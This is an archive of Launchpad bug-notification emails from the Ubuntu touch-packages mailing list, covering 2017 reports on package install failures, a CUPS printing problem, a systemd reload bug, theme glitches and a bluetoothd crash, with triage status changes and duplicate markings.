[Touch-packages] [Bug 1705174] Re: package libgcrypt11 1.5.0-3ubuntu0.1 failed to install/upgrade: short read on buffer copy for backend dpkg-deb during `./lib/i386-linux-gnu/libgcrypt.so.11.7.0'

[Apport retracing service]

** Tags removed: need-duplicate-check

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libgcrypt11 in Ubuntu.
https://bugs.launchpad.net/bugs/1705174

Title:
  package libgcrypt11 1.5.0-3ubuntu0.1 failed to install/upgrade: short
  read on buffer copy for backend dpkg-deb during `./lib/i386-linux-
  gnu/libgcrypt.so.11.7.0'

Status in libgcrypt11 package in Ubuntu:
  New

Bug description:
  I have Inspiron dell 700m notebook Which have 1.5 gb RAM and Intel Pentium M 
Processors
  Waiting Your positive reply
  Thanking You
  Mohamedsohel Shaikh
  (sohel...@gmail.com)

  ProblemType: Package
  DistroRelease: Ubuntu 12.04
  Package: libgcrypt11 1.5.0-3ubuntu0.1
  ProcVersionSignature: Ubuntu 3.5.0-23.35~precise1-generic 3.5.7.2
  Uname: Linux 3.5.0-23-generic i686
  ApportVersion: 2.0.1-0ubuntu17.1
  Architecture: i386
  Date: Wed Jul 19 08:23:27 2017
  DuplicateSignature: package:libgcrypt11:1.5.0-3ubuntu0.1:short read on buffer 
copy for backend dpkg-deb during `./lib/i386-linux-gnu/libgcrypt.so.11.7.0'
  ErrorMessage: short read on buffer copy for backend dpkg-deb during 
`./lib/i386-linux-gnu/libgcrypt.so.11.7.0'
  InstallationMedia: Ubuntu 12.04.2 LTS "Precise Pangolin" - Release i386 
(20130213)
  MarkForUpload: True
  SourcePackage: libgcrypt11
  Title: package libgcrypt11 1.5.0-3ubuntu0.1 failed to install/upgrade: short 
read on buffer copy for backend dpkg-deb during 
`./lib/i386-linux-gnu/libgcrypt.so.11.7.0'
  UpgradeStatus: Upgraded to precise on 2017-07-15 (3 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libgcrypt11/+bug/1705174/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705174] [NEW] package libgcrypt11 1.5.0-3ubuntu0.1 failed to install/upgrade: short read on buffer copy for backend dpkg-deb during `./lib/i386-linux-gnu/libgcrypt.so.11.7.0'

[sohel]

Public bug reported:

I have Inspiron dell 700m notebook Which have 1.5 gb RAM and Intel Pentium M 
Processors
Waiting Your positive reply
Thanking You
Mohamedsohel Shaikh
(sohel...@gmail.com)

ProblemType: Package
DistroRelease: Ubuntu 12.04
Package: libgcrypt11 1.5.0-3ubuntu0.1
ProcVersionSignature: Ubuntu 3.5.0-23.35~precise1-generic 3.5.7.2
Uname: Linux 3.5.0-23-generic i686
ApportVersion: 2.0.1-0ubuntu17.1
Architecture: i386
Date: Wed Jul 19 08:23:27 2017
DuplicateSignature: package:libgcrypt11:1.5.0-3ubuntu0.1:short read on buffer 
copy for backend dpkg-deb during `./lib/i386-linux-gnu/libgcrypt.so.11.7.0'
ErrorMessage: short read on buffer copy for backend dpkg-deb during 
`./lib/i386-linux-gnu/libgcrypt.so.11.7.0'
InstallationMedia: Ubuntu 12.04.2 LTS "Precise Pangolin" - Release i386 
(20130213)
MarkForUpload: True
SourcePackage: libgcrypt11
Title: package libgcrypt11 1.5.0-3ubuntu0.1 failed to install/upgrade: short 
read on buffer copy for backend dpkg-deb during 
`./lib/i386-linux-gnu/libgcrypt.so.11.7.0'
UpgradeStatus: Upgraded to precise on 2017-07-15 (3 days ago)

** Affects: libgcrypt11 (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: apport-package i386 precise

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libgcrypt11 in Ubuntu.
https://bugs.launchpad.net/bugs/1705174

Title:
  package libgcrypt11 1.5.0-3ubuntu0.1 failed to install/upgrade: short
  read on buffer copy for backend dpkg-deb during `./lib/i386-linux-
  gnu/libgcrypt.so.11.7.0'

Status in libgcrypt11 package in Ubuntu:
  New

Bug description:
  I have Inspiron dell 700m notebook Which have 1.5 gb RAM and Intel Pentium M 
Processors
  Waiting Your positive reply
  Thanking You
  Mohamedsohel Shaikh
  (sohel...@gmail.com)

  ProblemType: Package
  DistroRelease: Ubuntu 12.04
  Package: libgcrypt11 1.5.0-3ubuntu0.1
  ProcVersionSignature: Ubuntu 3.5.0-23.35~precise1-generic 3.5.7.2
  Uname: Linux 3.5.0-23-generic i686
  ApportVersion: 2.0.1-0ubuntu17.1
  Architecture: i386
  Date: Wed Jul 19 08:23:27 2017
  DuplicateSignature: package:libgcrypt11:1.5.0-3ubuntu0.1:short read on buffer 
copy for backend dpkg-deb during `./lib/i386-linux-gnu/libgcrypt.so.11.7.0'
  ErrorMessage: short read on buffer copy for backend dpkg-deb during 
`./lib/i386-linux-gnu/libgcrypt.so.11.7.0'
  InstallationMedia: Ubuntu 12.04.2 LTS "Precise Pangolin" - Release i386 
(20130213)
  MarkForUpload: True
  SourcePackage: libgcrypt11
  Title: package libgcrypt11 1.5.0-3ubuntu0.1 failed to install/upgrade: short 
read on buffer copy for backend dpkg-deb during 
`./lib/i386-linux-gnu/libgcrypt.so.11.7.0'
  UpgradeStatus: Upgraded to precise on 2017-07-15 (3 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libgcrypt11/+bug/1705174/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1692055] Re: Printer not printing even though it is installed but printing in my windows system

[Launchpad Bug Tracker]

[Expired for cups (Ubuntu) because there has been no activity for 60
days.]

** Changed in: cups (Ubuntu)
   Status: Incomplete => Expired

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1692055

Title:
  Printer not printing even though it is installed but printing in my
  windows system

Status in cups package in Ubuntu:
  Expired

Bug description:
  Printer not printing even though it is installed but printer is
  printing in my windows system

  ProblemType: Bug
  DistroRelease: Ubuntu 14.04
  Package: cups 1.7.2-0ubuntu1.8
  ProcVersionSignature: Ubuntu 3.13.0-36.63+hwe3-generic 3.13.11.6
  Uname: Linux 3.13.0-36-generic x86_64
  ApportVersion: 2.14.1-0ubuntu3.23
  Architecture: amd64
  CurrentDesktop: Unity
  Date: Fri May 19 21:27:17 2017
  DistributionChannelDescriptor:
   # This is a distribution channel descriptor
   # For more information see 
http://wiki.ubuntu.com/DistributionChannelDescriptor
   canonical-oem-somerville-trusty-amd64-20140620-0
  InstallationDate: Installed on 2015-06-09 (710 days ago)
  InstallationMedia: Ubuntu 14.04 "Trusty" - Build amd64 LIVE Binary 
20140620-04:25
  Lpstat: device for Canon-LBP2900: usb://Canon/LBP2900?serial=A2A3MD8h
  MachineType: Dell Inc. Latitude 3450
  PpdFiles: Canon-LBP2900: Canon LBP-3360 - CUPS+Gutenprint v5.2.10-pre2
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-36-generic 
root=UUID=f8fb5d2a-2608-412d-bd82-e59860e815c2 ro quiet splash pcie_aspm=force 
radeon.modeset=0 nouveau.modeset=0 video.use_native_backlight=1 vt.handoff=7
  SourcePackage: cups
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 04/15/2015
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A05
  dmi.board.name: 0PW7C8
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 9
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvrA05:bd04/15/2015:svnDellInc.:pnLatitude3450:pvr01:rvnDellInc.:rn0PW7C8:rvrA00:cvnDellInc.:ct9:cvr:
  dmi.product.name: Latitude 3450
  dmi.product.version: 01
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1692055/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1702823] Re: Systemd fails to serialize tasks correctly on daemon-reload

[Bug Watch Updater]

** Changed in: systemd (Debian)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1702823

Title:
  Systemd fails to serialize tasks correctly on daemon-reload

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Committed
Status in systemd source package in Yakkety:
  New
Status in systemd source package in Zesty:
  New
Status in systemd source package in Artful:
  Fix Committed
Status in systemd package in Debian:
  Fix Released

Bug description:
  Hi,
  I was initially tracking down a libvirt bug [1], but happened to realize it 
is actually a general systemd issue.
  From there I got to file, discuss and test [2].

  For now I file the bug to be ablte to do my tests correctly, but if it
  really fixes the issue I'd like to suggest to fix it in the release -
  so better file upfront and do even my test patches right.

  [1]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=867379
  [2]: https://github.com/systemd/systemd/issues/6299.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1702823/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705166] Re: package apport 2.20.4-0ubuntu4 failed to install/upgrade: subprocess new pre-removal script returned error exit status 1

[Apport retracing service]

** Tags removed: need-duplicate-check

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1705166

Title:
  package apport 2.20.4-0ubuntu4 failed to install/upgrade: subprocess
  new pre-removal script returned error exit status 1

Status in apport package in Ubuntu:
  New

Bug description:
  bug

  ProblemType: Package
  DistroRelease: Ubuntu 17.04
  Package: apport 2.20.4-0ubuntu4
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  Date: Tue Jul 18 22:24:17 2017
  ErrorMessage: subprocess new pre-removal script returned error exit status 1
  InstallationDate: Installed on 2017-07-19 (0 days ago)
  InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412)
  PackageArchitecture: all
  RelatedPackageVersions:
   dpkg 1.18.10ubuntu2
   apt  1.4
  SourcePackage: apport
  Title: package apport 2.20.4-0ubuntu4 failed to install/upgrade: subprocess 
new pre-removal script returned error exit status 1
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1705166/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705166] [NEW] package apport 2.20.4-0ubuntu4 failed to install/upgrade: subprocess new pre-removal script returned error exit status 1

[Lalit Khandelwal]

Public bug reported:

bug

ProblemType: Package
DistroRelease: Ubuntu 17.04
Package: apport 2.20.4-0ubuntu4
ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
Uname: Linux 4.10.0-19-generic x86_64
ApportVersion: 2.20.4-0ubuntu4
Architecture: amd64
Date: Tue Jul 18 22:24:17 2017
ErrorMessage: subprocess new pre-removal script returned error exit status 1
InstallationDate: Installed on 2017-07-19 (0 days ago)
InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412)
PackageArchitecture: all
RelatedPackageVersions:
 dpkg 1.18.10ubuntu2
 apt  1.4
SourcePackage: apport
Title: package apport 2.20.4-0ubuntu4 failed to install/upgrade: subprocess new 
pre-removal script returned error exit status 1
UpgradeStatus: No upgrade log present (probably fresh install)

** Affects: apport (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-package zesty

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1705166

Title:
  package apport 2.20.4-0ubuntu4 failed to install/upgrade: subprocess
  new pre-removal script returned error exit status 1

Status in apport package in Ubuntu:
  New

Bug description:
  bug

  ProblemType: Package
  DistroRelease: Ubuntu 17.04
  Package: apport 2.20.4-0ubuntu4
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  Date: Tue Jul 18 22:24:17 2017
  ErrorMessage: subprocess new pre-removal script returned error exit status 1
  InstallationDate: Installed on 2017-07-19 (0 days ago)
  InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412)
  PackageArchitecture: all
  RelatedPackageVersions:
   dpkg 1.18.10ubuntu2
   apt  1.4
  SourcePackage: apport
  Title: package apport 2.20.4-0ubuntu4 failed to install/upgrade: subprocess 
new pre-removal script returned error exit status 1
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1705166/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1640139] Re: package libpulse0 (not installed) failed to install/upgrade: trying to overwrite shared '/etc/pulse/client.conf', which is different from other instances of package

[Daniel van Vugt]

** Tags added: trusty

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1640139

Title:
  package libpulse0 (not installed) failed to install/upgrade: trying to
  overwrite shared '/etc/pulse/client.conf', which is different from
  other instances of package libpulse0:i386

Status in One Hundred Papercuts:
  Confirmed
Status in pulseaudio package in Ubuntu:
  Confirmed

Bug description:
  # lsb_release -a
  No LSB modules are available.
  Distributor ID:   Ubuntu
  Description:  Ubuntu 16.04.1 LTS
  Release:  16.04
  Codename: xenial

  # uname -a
  Linux rotem-laptop 4.4.0-45-generic #66-Ubuntu SMP Wed Oct 19 14:12:37 UTC 
2016 x86_64 x86_64 x86_64 GNU/Linux

  tried removing pulseaudio

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: libpulse0 (not installed)
  ProcVersionSignature: Ubuntu 4.4.0-45.66-generic 4.4.21
  Uname: Linux 4.4.0-45-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  rotemfo2383 F pulseaudio
   /dev/snd/controlC0:  rotemfo2383 F pulseaudio
  Date: Tue Nov  8 12:46:09 2016
  DuplicateSignature:
   package:libpulse0:(not installed)
   Unpacking libpulse0:i386 (1:8.0-0ubuntu3) ...
   dpkg: error processing archive 
/var/cache/apt/archives/libpulse0_1%3a8.0-0ubuntu3_i386.deb (--unpack):
trying to overwrite shared '/etc/pulse/client.conf', which is different 
from other instances of package libpulse0:i386
  ErrorMessage: trying to overwrite shared '/etc/pulse/client.conf', which is 
different from other instances of package libpulse0:i386
  InstallationDate: Installed on 2016-10-25 (14 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 127: pacmd: 
error while loading shared libraries: libpulse.so.0: cannot open shared object 
file: No such file or directory
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.1
   apt  1.2.12~ubuntu16.04.1
  SourcePackage: pulseaudio
  Title: package libpulse0 (not installed) failed to install/upgrade: trying to 
overwrite shared '/etc/pulse/client.conf', which is different from other 
instances of package libpulse0:i386
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/17/2016
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A13
  dmi.board.vendor: Dell Inc.
  dmi.chassis.type: 9
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvrA13:bd05/17/2016:svnDellInc.:pnLatitudeE7450:pvr:rvnDellInc.:rn:rvr:cvnDellInc.:ct9:cvr:
  dmi.product.name: Latitude E7450
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hundredpapercuts/+bug/1640139/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1704295] Re: Gnome Software titlebar is too thin during startup under Ambiance

[Launchpad Bug Tracker]

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: gnome-software (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1704295

Title:
  Gnome Software titlebar is too thin during startup under Ambiance

Status in gnome-software package in Ubuntu:
  Confirmed
Status in ubuntu-themes package in Ubuntu:
  Confirmed

Bug description:
  Gnome Software titlebar is too thin during startup under Ambiance

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-software/+bug/1704295/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1704295] Re: Gnome Software titlebar is too thin during startup under Ambiance

[Launchpad Bug Tracker]

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: ubuntu-themes (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1704295

Title:
  Gnome Software titlebar is too thin during startup under Ambiance

Status in gnome-software package in Ubuntu:
  Confirmed
Status in ubuntu-themes package in Ubuntu:
  Confirmed

Bug description:
  Gnome Software titlebar is too thin during startup under Ambiance

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-software/+bug/1704295/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705130] Re: weird decoration for software center first setup

[Daniel van Vugt]

*** This bug is a duplicate of bug 1704295 ***
https://bugs.launchpad.net/bugs/1704295

Thank you for taking the time to report this bug and helping to make
Ubuntu better. This particular bug has already been reported and is a
duplicate of bug 1704295, so it is being marked as such. Please look at
the other bug report to see if there is any missing information that you
can provide, or to see if there is a workaround for the bug.
Additionally, any further discussion regarding the bug should occur in
the other report. Feel free to continue to report any other bugs you may
find.


** This bug has been marked a duplicate of bug 1704295
   Gnome Software titlebar is too thin during startup under Ambiance

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1705130

Title:
  weird decoration for software center first setup

Status in ubuntu-themes package in Ubuntu:
  New

Bug description:
  The software center, during the first setup, has a weird decoration.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: light-themes 16.10+17.10.20170703-0ubuntu1
  ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
  Uname: Linux 4.11.0-10-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Tue Jul 18 23:08:19 2017
  InstallationDate: Installed on 2015-03-21 (850 days ago)
  InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150321)
  PackageArchitecture: all
  SourcePackage: ubuntu-themes
  UpgradeStatus: Upgraded to artful on 2017-07-18 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1705130/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705129] Re: Highlighted items have a white text but keep a black arrow

[Daniel van Vugt]

** Changed in: ubuntu-themes (Ubuntu)
   Importance: Undecided => Low

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1705129

Title:
  Highlighted items have a white text but keep a black arrow

Status in ubuntu-themes package in Ubuntu:
  New

Bug description:
  In some menus, like the one in the picture, the highlighted items have
  a white text but a black arrow. In this specific screenshot I'm
  referring to the Tool text with the black arrow on the side. I think
  it would be more consistent and visually pleasant if they could have
  the same color.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: light-themes 16.10+17.10.20170703-0ubuntu1
  ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
  Uname: Linux 4.11.0-10-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Tue Jul 18 22:56:28 2017
  InstallationDate: Installed on 2015-03-21 (850 days ago)
  InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150321)
  PackageArchitecture: all
  SourcePackage: ubuntu-themes
  UpgradeStatus: Upgraded to artful on 2017-07-18 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1705129/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705127] Re: App integrated menus have blurry parts

[Daniel van Vugt]

The screenshot looks perfectly clear to me. So two questions...

1. Can you zoom in on what you think the issue is?

2. Are you using a VGA (analog) connection? If so then it's possible
your logical pixels might be slightly out of alignment with the physical
LCD pixels. In that case you need to adjust your monitor settings.

** Changed in: ubuntu-themes (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1705127

Title:
  App integrated menus have blurry parts

Status in ubuntu-themes package in Ubuntu:
  Incomplete

Bug description:
  If you check the balloon arrow in the picture (just below the Save
  button) you can see as that part is very blurry compared to the other
  parts of the balloon.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: light-themes 16.10+17.10.20170703-0ubuntu1
  ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
  Uname: Linux 4.11.0-10-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Tue Jul 18 22:50:47 2017
  InstallationDate: Installed on 2015-03-21 (850 days ago)
  InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150321)
  PackageArchitecture: all
  SourcePackage: ubuntu-themes
  UpgradeStatus: Upgraded to artful on 2017-07-18 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1705127/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1493498] Re: [15.04 and earlier] bluetoothd crashed with SIGSEGV in avdtp_sep_set_state from avdtp_abort_resp from avdtp_parse_resp from session_cb from g_main_dispatch

[Daniel van Vugt]

See also bug 1689452

** Summary changed:

- bluetoothd crashed with SIGSEGV in avdtp_sep_set_state from avdtp_abort_resp 
from avdtp_parse_resp from session_cb:g_main_dispatch
+ [15.04 and earlier] bluetoothd crashed with SIGSEGV in avdtp_sep_set_state 
from avdtp_abort_resp from avdtp_parse_resp from session_cb from g_main_dispatch

** Summary changed:

- [15.04 and earlier] bluetoothd crashed with SIGSEGV in avdtp_sep_set_state 
from avdtp_abort_resp from avdtp_parse_resp from session_cb from g_main_dispatch
+ bluetoothd crashed with SIGSEGV in avdtp_sep_set_state from avdtp_abort_resp 
from avdtp_parse_resp from session_cb from g_main_dispatch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1493498

Title:
  bluetoothd crashed with SIGSEGV in avdtp_sep_set_state from
  avdtp_abort_resp from avdtp_parse_resp from session_cb from
  g_main_dispatch

Status in bluez package in Ubuntu:
  Confirmed

Bug description:
  The Ubuntu Error Tracker has been receiving reports about a problem
  regarding bluez.  This problem was most recently seen with version
  4.101-0ubuntu25, the problem page at
  https://errors.ubuntu.com/problem/89c2536156cfe1ec74b64298c4d38b4e320baac4
  contains more details.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1493498/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1573900] Re: package libpulse0 (not installed) failed to install/upgrade: 尝试覆盖共享的 '/etc/pulse/client.conf', 它与软件包 libpulse0:i386 中的其他实例不同

[Daniel van Vugt]

*** This bug is a duplicate of bug 1640139 ***
https://bugs.launchpad.net/bugs/1640139

Thank you for taking the time to report this bug and helping to make
Ubuntu better. This particular bug has already been reported and is a
duplicate of bug 1640139, so it is being marked as such. Please look at
the other bug report to see if there is any missing information that you
can provide, or to see if there is a workaround for the bug.
Additionally, any further discussion regarding the bug should occur in
the other report. Feel free to continue to report any other bugs you may
find.


** This bug has been marked a duplicate of bug 1640139
   package libpulse0 (not installed) failed to install/upgrade: trying to 
overwrite shared '/etc/pulse/client.conf', which is different from other 
instances of package libpulse0:i386

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1573900

Title:
  package libpulse0 (not installed) failed to install/upgrade: 尝试覆盖共享的
  '/etc/pulse/client.conf', 它与软件包 libpulse0:i386 中的其他实例不同

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  I found this problem when I was trying to install wine-
  qqintl_0.1.3-2_i386.deb.

  ProblemType: Package
  DistroRelease: Ubuntu 14.04
  Package: libpulse0 (not installed)
  ProcVersionSignature: Ubuntu 4.2.0-35.40~14.04.1-generic 4.2.8-ckt5
  Uname: Linux 4.2.0-35-generic x86_64
  ApportVersion: 2.14.1-0ubuntu3.19
  AptOrdering:
   libpulse0: Install
   libasound2-plugins: Install
   libpulse0: Configure
   libasound2-plugins: Configure
  Architecture: amd64
  Date: Sat Apr 23 13:26:04 2016
  DuplicateSignature: package:libpulse0:(not installed):尝试覆盖共享的 
'/etc/pulse/client.conf', 它与软件包 libpulse0:i386 中的其他实例不同
  ErrorMessage: 尝试覆盖共享的 '/etc/pulse/client.conf', 它与软件包 libpulse0:i386 中的其他实例不同
  InstallationDate: Installed on 2016-04-16 (7 days ago)
  InstallationMedia: Ubuntu 14.04.4 LTS "Trusty Tahr" - Release amd64 
(20160217.1)
  RelatedPackageVersions:
   dpkg 1.17.5ubuntu5.5
   apt  1.0.1ubuntu2.12
  SourcePackage: pulseaudio
  Title: package libpulse0 (not installed) failed to install/upgrade: 尝试覆盖共享的 
'/etc/pulse/client.conf', 它与软件包 libpulse0:i386 中的其他实例不同
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1573900/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1689452] Re: [15.10 and later] bluetoothd crashed with SIGSEGV in avdtp_sep_set_state from avdtp_abort_resp from avdtp_parse_resp from session_cb from g_main_dispatch

[Daniel van Vugt]

*** This bug is a duplicate of bug 1493498 ***
https://bugs.launchpad.net/bugs/1493498

See also bug 1493498

** Summary changed:

- bluetoothd crashed with SIGSEGV in avdtp_sep_set_state from avdtp_abort_resp 
from avdtp_parse_resp from session_cb from g_main_dispatch
+ [15.10 and later] bluetoothd crashed with SIGSEGV in avdtp_sep_set_state from 
avdtp_abort_resp from avdtp_parse_resp from session_cb from g_main_dispatch

** This bug has been marked a duplicate of bug 1493498
   [15.04 and earlier] bluetoothd crashed with SIGSEGV in avdtp_sep_set_state 
from avdtp_abort_resp from avdtp_parse_resp from session_cb from g_main_dispatch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1689452

Title:
  [15.10 and later] bluetoothd crashed with SIGSEGV in
  avdtp_sep_set_state from avdtp_abort_resp from avdtp_parse_resp from
  session_cb from g_main_dispatch

Status in bluez package in Ubuntu:
  Confirmed

Bug description:
  The Ubuntu Error Tracker has been receiving reports about a problem regarding 
bluez.  This problem was most recently seen with package version 5.43-0ubuntu1, 
the problem page at 
https://errors.ubuntu.com/problem/108dd760fb9f1f5bb12e155ffad01ee758816f36 
contains more details, including versions of packages affected, stacktrace or 
traceback, and individual crash reports.
